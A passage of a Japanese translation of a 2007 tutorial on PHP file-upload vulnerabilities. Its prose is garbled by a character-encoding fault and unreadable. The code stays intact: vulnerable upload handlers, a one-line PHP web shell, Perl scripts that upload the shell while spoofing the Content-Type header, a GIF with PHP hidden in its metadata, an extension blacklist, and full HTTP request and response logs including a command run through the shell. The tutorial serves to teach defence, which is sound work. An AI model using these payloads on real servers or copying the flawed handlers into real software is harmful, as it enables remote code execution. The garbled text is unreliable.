ãã®èšäºã§ã¯ããµãŒããŒã«ãã¡ã€ã«ãã¢ããããŒãããããã®Webã¢ããªã±ãŒã·ã§ã³ã®äž»ãªè匱æ§ãšããããåé¿ããæ¹æ³ã瀺ããŸãã ãã®èšäºã§ã¯ãããã«ãšã£ãŠèå³æ·±ããã®ã«ãªããã©ããã®åºæ¬ã説æããŠããŸãã ãããããã¹ãŠåã-ãã¹ãŠã®PHPéçºè
ã¯ãããç¥ã£ãŠããå¿
èŠããããŸããããŸããŸãªWebã¢ããªã±ãŒã·ã§ã³ã«ããããŠãŒã¶ãŒã¯ãã¡ã€ã«ãã¢ããããŒãã§ããŸãã ãã©ãŒã©ã ã§ã¯ããŠãŒã¶ãŒãã¢ãã¿ãŒãã¢ããããŒãã§ããŸãã ãã©ãã®ã£ã©ãªãŒã§ã¯ãåçãã¢ããããŒãã§ããŸãã ãœãŒã·ã£ã«ãããã¯ãŒã¯ã¯ãç»åãåç»ãªã©ãã¢ããããŒãããæ©èœãæäŸããŸãã ããã°ã§ã¯ãã¢ãã¿ãŒãç»åãå床ã¢ããããŒãã§ããŸãã
å€ãã®å Žåãé©åãªã»ãã¥ãªãã£å¶åŸ¡ãªãã§ãã¡ã€ã«ãããŠã³ããŒããããšãè匱æ§ãçºçããŸããããã¯ãå®è·µã瀺ãããã«ãPHP Webã¢ããªã±ãŒã·ã§ã³ã§å®éã®åé¡ã«ãªã£ãŠããŸãã
ãã¹ãã«ãããå€ãã®Webã¢ããªã±ãŒã·ã§ã³ã«ã¯å€ãã®ã»ãã¥ãªãã£åé¡ãããããšã瀺ãããŠããŸãã ãããã®ãããŒã«ãã¯ããµãŒããŒäžã®ãã¡ã€ã«ã衚瀺ããä»»æã®ã³ãŒããå®è¡ããŠããŠã³ããŒãããããšããå§ããŠãäžæ£è¡çºãå®è¡ããåºç¯ãªæ©äŒãæ»æè
ã«æäŸããŸãã ãã®èšäºã§ã¯ãäž»èŠãªã»ãã¥ãªãã£ããŒã«ãšããããåé¿ããæ¹æ³ã«ã€ããŠèª¬æããŸãã
ãã®èšäºã§æäŸãããŠããã³ãŒãäŸã¯ã次ã®å ŽæããããŠã³ããŒãã§ããŸãã
www.scanit.be/uploads/php-file-upload-examples.zipãããã䜿çšããå Žåã¯ã䜿çšããŠãããµãŒããŒãã€ã³ã¿ãŒããããŸãã¯ä»ã®ãããªãã¯ãããã¯ãŒã¯ããã¢ã¯ã»ã¹ã§ããªãããšã確èªããŠãã ããã ãã®äŸã¯ãå€éšããã¢ã¯ã»ã¹å¯èœãªãµãŒããŒã§å®è¡ãããšå±éºãªçµæãæãå¯èœæ§ãããããŸããŸãªè匱æ§ã瀺ããŠããŸãã
éåžžã®ãã¡ã€ã«ã®ããŠã³ããŒã
ãã¡ã€ã«ã®ã¢ããããŒãã¯éåžžã2ã€ã®ç¬ç«ããæ©èœã§æ§æãããŸã-ãŠãŒã¶ãŒããã®ãã¡ã€ã«ã®åãå
¥ããšãŠãŒã¶ãŒãžã®ãã¡ã€ã«ã®è¡šç€ºã äž¡æ¹ã®éšåãè匱æ§ã®åå ã«ãªãå¯èœæ§ããããŸãã 次ã®ã³ãŒãïŒupload1.phpïŒãèŠãŠã¿ãŸãããã
<?php
$uploaddir = 'uploads/' ; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>
* This source code was highlighted with Source Code Highlighter .
éåžžããŠãŒã¶ãŒã¯åæ§ã®åœ¢åŒã䜿çšããŠãã¡ã€ã«ãã¢ããããŒãããŸãã
< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: < input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >
</ form >
* This source code was highlighted with Source Code Highlighter .
æ»æè
ã¯ãã®ãã©ãŒã ã䜿çšããŸããã 圌ã¯ãå°ããªPerlã¹ã¯ãªãã
ïŒããããä»»æã®èšèª-çŽTranslatorïŒãäœæã§ããŸã
ãããã¯ããŠãŒã¶ãŒã®è£éã§éä¿¡ãããããŒã¿ãå€æŽããããã®ãã¡ã€ã«ã®ããŠã³ããŒãã«å¯Ÿããã¢ã¯ã·ã§ã³ããšãã¥ã¬ãŒãããŸãã
ãã®å ŽåãããŠã³ããŒãã«ã¯å€§ããªã»ãã¥ãªãã£ããŒã«ãå«ãŸããŸããupload1.phpã䜿çšãããšããŠãŒã¶ãŒã¯ãµã€ãã®ã«ãŒãã«ä»»æã®ãã¡ã€ã«ãã¢ããããŒãã§ããŸãã æ»æè
ã¯ãä»»æã®ã·ã§ã«ã³ãã³ããWebãµãŒããŒããã»ã¹ã®æš©éã§ãµãŒããŒã§å®è¡ã§ããããã«ããPHPãã¡ã€ã«ãããŠã³ããŒãã§ããŸãã ãã®ãããªã¹ã¯ãªããã¯ãPHP-ShellãšåŒã°ããŸãã ãã®ãããªã¹ã¯ãªããã®æãç°¡åãªäŸã次ã«ç€ºããŸãã
<?php
system($_GET['command']);
?>
ãã®ã¹ã¯ãªããããµãŒããŒäžã«ããå Žåããªã¯ãšã¹ããä»ããŠä»»æã®ã³ãã³ããå®è¡ã§ããŸãã
server / shell.phpïŒcommand = any_Unix_shell_commandããé«åºŠãªPHPã·ã§ã«ã¯ã€ã³ã¿ãŒãããã§èŠã€ããããšãã§ããŸãã ä»»æã®ãã¡ã€ã«ãã¢ããããŒãããããSQLã¯ãšãªãå®è¡ãããã§ããŸãã
以äžã«ç€ºãPerlãœãŒã¹ã¯ãupload1.phpã䜿çšããŠPHPã·ã§ã«ããµãŒããŒã«ã¢ããããŒãããŸãã
#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;
$res = $ua->request(POST 'http://localhost/upload1.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "shell.php" , "shell.php" ],],);
print $res->as_string();
* This source code was highlighted with Source Code Highlighter .
ãã®ã¹ã¯ãªããã¯
libwwwperlã䜿çšããŸããããã¯ãHTTPã¯ã©ã€ã¢ã³ãããšãã¥ã¬ãŒããã䟿å©ãªPerlã©ã€ãã©ãªã§ãã
ãã®ã¹ã¯ãªãããå®è¡ãããšã次ã®ããã«ãªããŸãã
ãªã¯ãšã¹ãïŒPOST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZYâ
çãã¯ïŒHTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
ã·ã§ã«ã¹ã¯ãªãããèªã¿èŸŒãã åŸã次ã®ã³ãã³ããå®å
šã«å®è¡ã§ããŸãã
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)
cURLã¯ãUnixããã³Windowsã§äœ¿çšå¯èœãªã³ãã³ãã©ã€ã³HTTPã¯ã©ã€ã¢ã³ãã§ãã ããã¯ãWebã¢ããªã±ãŒã·ã§ã³ããã§ãã¯ããããã®éåžžã«äŸ¿å©ãªããŒã«ã§ãã cURLã¯
curl.haxx.seããããŠã³ããŒãã§ããŸã
ã³ã³ãã³ãã¿ã€ãã®æ€èšŒ
äžèšã®äŸã¯ãã£ãã«ãããŸããã ã»ãšãã©ã®å Žåãããã°ã©ãã¯åçŽãªãã§ãã¯ã䜿çšããŠããŠãŒã¶ãŒãå³å¯ã«å®çŸ©ãããã¿ã€ãã®ãã¡ã€ã«ãã¢ããããŒãã§ããããã«ããŸãã ããšãã°ãContent-TypeããããŒã䜿çšããå ŽåïŒ
äŸ2ïŒupload2.phpïŒïŒ
<?php
if ($_FILES[ 'userfile' ][ 'type' ] != "image/gif" ) {
echo "Sorry, we only allow uploading GIF images" ;
exit;
}
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>
* This source code was highlighted with Source Code Highlighter .
ãã®å Žåãæ»æè
ãshell.phpãèªã¿èŸŒãããšãããšãã³ãŒãã¯ãªã¯ãšã¹ãå
ã®ããŠã³ããŒãããããã¡ã€ã«ã®MIMEã¿ã€ãããã§ãã¯ããäžèŠãªãã®ãé€å€ããŸãã
ãªã¯ãšã¹ãïŒPOST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--
çãã¯ïŒHTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
ãããŸã§ã®ãšããè¯ãã æ®å¿µãªããããã§ãã¯ãããMIMEã¿ã€ãã¯ãªã¯ãšã¹ãã«ä»å±ããŠããããããã®ä¿è·ãåé¿ããæ¹æ³ããããŸãã äžèšã®ãªã¯ãšã¹ãã§ã¯ããtext / plainãã«èšå®ãããŠããŸã
ïŒãã©ãŠã¶ã«ãã£ãŠã€ã³ã¹ããŒã«ãããŸã-ã»ãŒç¿»èš³è
ïŒ ã ã¯ã©ã€ã¢ã³ããšãã¥ã¬ãŒã·ã§ã³ã®å©ããåããŠãéä¿¡ãããªã¯ãšã¹ãïŒupload2.plïŒãå®å
šã«å¶åŸ¡ãããããæ»æè
ããimage / gifãã«èšå®ããã®ã劚ãããã®ã¯ãããŸããã
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST 'http://localhost/upload2.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "shell.php" , "shell.php" , "Content-Type" => "image/gif" ],],);
print $res->as_string();
* This source code was highlighted with Source Code Highlighter .
ãããèµ·ããããšã§ãã
ãªã¯ãšã¹ãïŒPOST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZYâ
çãã¯ïŒ HTTP / 1.1 200 OK
æ¥ä»ïŒ2007幎5æ31æ¥ïŒæšïŒ14:02:11 GMT
ãµãŒããŒïŒApache
X-Powered-ByïŒPHP / 4.4.4-pl6-gentoo
ã³ã³ãã³ãã®é·ãïŒ59
æ¥ç¶ïŒéãã
ã³ã³ãã³ãã¿ã€ãïŒããã¹ã/ html
ãã¡ã€ã«ã¯æå¹ã§ãããæ£åžžã«ã¢ããããŒããããŸããã
ãã®çµæãupload2.plã¯Content-TypeããããŒãåœé ãããµãŒããŒã«ãã¡ã€ã«ã®åãå
¥ãã匷å¶ããŸãã
ç»åãã¡ã€ã«ã®å
容ã確èªãã
PHPéçºè
ã¯ãContent-TypeããããŒãä¿¡é Œãã代ããã«ãããŠã³ããŒããããã¡ã€ã«ã®å®éã®ã³ã³ãã³ãããã§ãã¯ããŠããããã€ã¡ãŒãžã§ããããšã確èªã§ããŸãã ããã«ã¯ãPHP getimagesizeïŒïŒé¢æ°ããã䜿çšãããŸãã åŒæ°ãšããŠãã¡ã€ã«åãåãããµã€ãºãšç»åã¿ã€ãã®é
åãè¿ããŸãã 以äžã®upload3.phpã®äŸãèããŠãã ããã
<?php
$imageinfo = getimagesize($_FILES[ 'userfile' ][ 'tmp_name' ]);
if ($imageinfo[ 'mime' ] != 'image/gif' && $imageinfo[ 'mime' ] != 'image/jpeg' ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>
* This source code was highlighted with Source Code Highlighter .
ããã§ãæ»æè
ãshell.phpãããŠã³ããŒãããããšãããšãContent-TypeããããŒããimage / gifãã«èšå®ããŠããupload3.phpã¯åŒãç¶ããšã©ãŒãã¹ããŒããŸãã
ãªã¯ãšã¹ãïŒPOST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZYâ
çãã¯ïŒHTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images
GIFãŸãã¯JPEGãã¡ã€ã«ã®ã¿ãã¢ããããŒããããã®ã§å®å¿ã§ãããšæããããããŸããã æ®å¿µãªãããããã§ã¯ãããŸããã ãã¡ã€ã«ã¯å®éã«ã¯GIFãŸãã¯JPEG圢åŒã§ãããåæã«PHPã¹ã¯ãªããã§ãããŸããŸããã ã»ãšãã©ã®ç»å圢åŒã§ã¯ãããã¹ãã¡ã¿ããŒã¿ãç»åã«è¿œå ã§ããŸãã ãã®ã¡ã¿ããŒã¿ã«PHPã³ãŒããå«ãå®å
šã«æå¹ãªç»åãäœæããããšãã§ããŸãã getimagesizeïŒïŒããã¡ã€ã«ãèŠããšããããæå¹ãªGIFãŸãã¯JPEGãšããŠèªèããŸãã PHPãã©ã³ã¹ã¬ãŒã¿ããã¡ã€ã«ãèŠããšããã€ããªã®ãã¬ããŒãžãã«ããå®è¡å¯èœãªPHPã³ãŒããç¡èŠãããããšãããããŸãã ãµã³ãã«ã«ã¯crocus.gifãšãããµã³ãã«ãã¡ã€ã«ãå«ãŸããŠããŸãïŒèšäºã®åé ãåç
§ïŒã åæ§ã®ç»åãä»»æã®ã°ã©ãã£ãã¯ãšãã£ã¿ã§äœæã§ããŸãã
ãããã£ãŠãperlã¹ã¯ãªãããäœæããŠã€ã¡ãŒãžãããŒãããŸãã
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST 'http://localhost/upload3.php' ,
Content_Type => 'form-data' ,
Content => [userfile => [ "crocus.gif" , "crocus.php" , "Content-Type" => "image/gif" ], ],);
print $res->as_string();
* This source code was highlighted with Source Code Highlighter .
ãã®ã³ãŒãã¯crocus.gifãã¡ã€ã«ãååŸããcrocus.phpãšããååã§ããŒãããŸãã å®è¡ãããšæ¬¡ã®ããã«ãªããŸãã
ãªã¯ãšã¹ãïŒPOST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)
--xYzZYâ
çãã¯ïŒ HTTP / 1.1 200 OK
æ¥ä»ïŒ2007幎5æ31æ¥ïŒæšïŒ14:47:24 GMT
ãµãŒããŒïŒApache
X-Powered-ByïŒPHP / 4.4.4-pl6-gentoo
ã³ã³ãã³ãã®é·ãïŒ59
æ¥ç¶ïŒéãã
ã³ã³ãã³ãã¿ã€ãïŒããã¹ã/ html
ãã¡ã€ã«ã¯æå¹ã§ãããæ£åžžã«ã¢ããããŒããããŸããã
ããã§ãæ»æè
ã¯uploads / crocus.phpãå®è¡ãã次ã®ãã®ãååŸã§ããŸãã
ã芧ã®ãšãããPHPãã©ã³ã¹ã¬ãŒã¿ã¯ç»åã®å
é ã®ãã€ããªããŒã¿ãç¡èŠããGIFã³ã¡ã³ãå
ã®ã·ãŒã±ã³ã¹ã<ïŒPhpinfoïŒïŒïŒ>ããå®è¡ããŸãã
ãã¡ã€ã«æ¡åŒµåã確èªãã
ãã®èšäºã®èªè
ã¯ããªãããŠã³ããŒããããã¡ã€ã«ã®æ¡åŒµåãåçŽã«ãã§ãã¯ããŠããªãã®ãçåã«æããããããŸããã * .phpãã¡ã€ã«ã®ããŒããèš±å¯ããªãå ŽåããµãŒããŒã¯ãã®ãã¡ã€ã«ãã¹ã¯ãªãããšããŠå®è¡ã§ããªããªããŸãã ãã®ã¢ãããŒããèŠãŠã¿ãŸãããã
ãã¡ã€ã«æ¡åŒµåããã©ãã¯ãªã¹ãã«ç»é²ããããŠã³ããŒããããã¡ã€ã«ã®ååã確èªããŸããå®è¡å¯èœãªæ¡åŒµåïŒupload4.phpïŒãå«ããã¡ã€ã«ã®ããŠã³ããŒãã¯ç¡èŠããŸãã
<?php
$blacklist = array( ".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match( "/$item\$/i" , $_FILES[ 'userfile' ][ 'name' ])) {
echo "We do not allow uploading PHP files\n" ;
exit;
}
}
$uploaddir = 'uploads/' ;
$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);
if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n" ;
} else {
echo "File uploading failed.\n" ;
}
?>
* This source code was highlighted with Source Code Highlighter .
è¡šçŸpreg_matchïŒ "/ $ item \ $ / i"ã$ _FILES ['userfile'] ['name']ïŒã¯ããã©ãã¯ãªã¹ãé
åã§ãŠãŒã¶ãŒãå®çŸ©ãããã¡ã€ã«åãšäžèŽããŸãã ãiã修食åã¯ãåŒã§å€§æåãšå°æåãåºå¥ãããªãããšã瀺ããŸãã ãã¡ã€ã«æ¡åŒµåããã©ãã¯ãªã¹ãå
ã®ã¢ã€ãã ã®ãããããšäžèŽããå Žåããã¡ã€ã«ã¯ããŠã³ããŒããããŸããã
æ¡åŒµåã.phpã®ãã¡ã€ã«ãããŠã³ããŒãããããšãããšããšã©ãŒãçºçããŸãã
ãªã¯ãšã¹ãïŒPOST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZYâ
çãã¯ïŒHTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files
æ¡åŒµåã.gifã®ãã¡ã€ã«ãã¢ããããŒããããšãããŠã³ããŒããããŸãã
ãªã¯ãšã¹ãïŒPOST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--
çãã¯ïŒ HTTP / 1.1 200 OK
æ¥ä»ïŒ2007幎5æ31æ¥ïŒæšïŒ15:20:17 GMT
ãµãŒããŒïŒApache
X-Powered-ByïŒPHP / 4.4.4-pl6-gentoo
ã³ã³ãã³ãã®é·ãïŒ59
æ¥ç¶ïŒéãã
ã³ã³ãã³ãã¿ã€ãïŒããã¹ã/ html
ãã¡ã€ã«ã¯æå¹ã§ãããæ£åžžã«ã¢ããããŒããããŸããã
ããã§ãããŠã³ããŒããããã¡ã€ã«ããªã¯ãšã¹ãããå ŽåããµãŒããŒã«ãã£ãŠå®è¡ãããŸããã
翻蚳è
ã®ã³ã¡ã³ãïŒç»åãããŠã³ããŒãããå Žåãæåã®æ¹æ³ã¯æå®ãããã¢ã¯ã·ã§ã³ã§ã¯ãªããgetimagesizeïŒïŒé¢æ°ã®çµæãšããŠã®æ¡åŒµåã§ãã¡ã€ã«ãä¿åããããšã§ãã ã»ãšãã©ã®å Žåãããã¯ãŸãã«èµ·ããããšã§ãã ãã¡ã€ã«ãç¹å®ã®åœ¢åŒïŒjpegãªã©ïŒã«å€æããããšããå§ãããŸãã åçã®ã¡ã¿ããŒã¿ãæã¡èŸŒããšïŒç§ãç¥ãéãïŒå€±ãããã»ãšãã©ä¿èšŒãããã»ãã¥ãªãã£ãæäŸãããŸãã
ã¿ã€ã.phpã®æ¡åŒµåãæã€ãã¡ã€ã«ã®ããŠã³ããŒãã®ååšã¯ããµã€ãã®åé ã§ãã¹ãŠç¢ºèªããå¿
èŠããããããããã°ãããã«ç Žæ£ããå¿
èŠããããŸãã
â第äºéš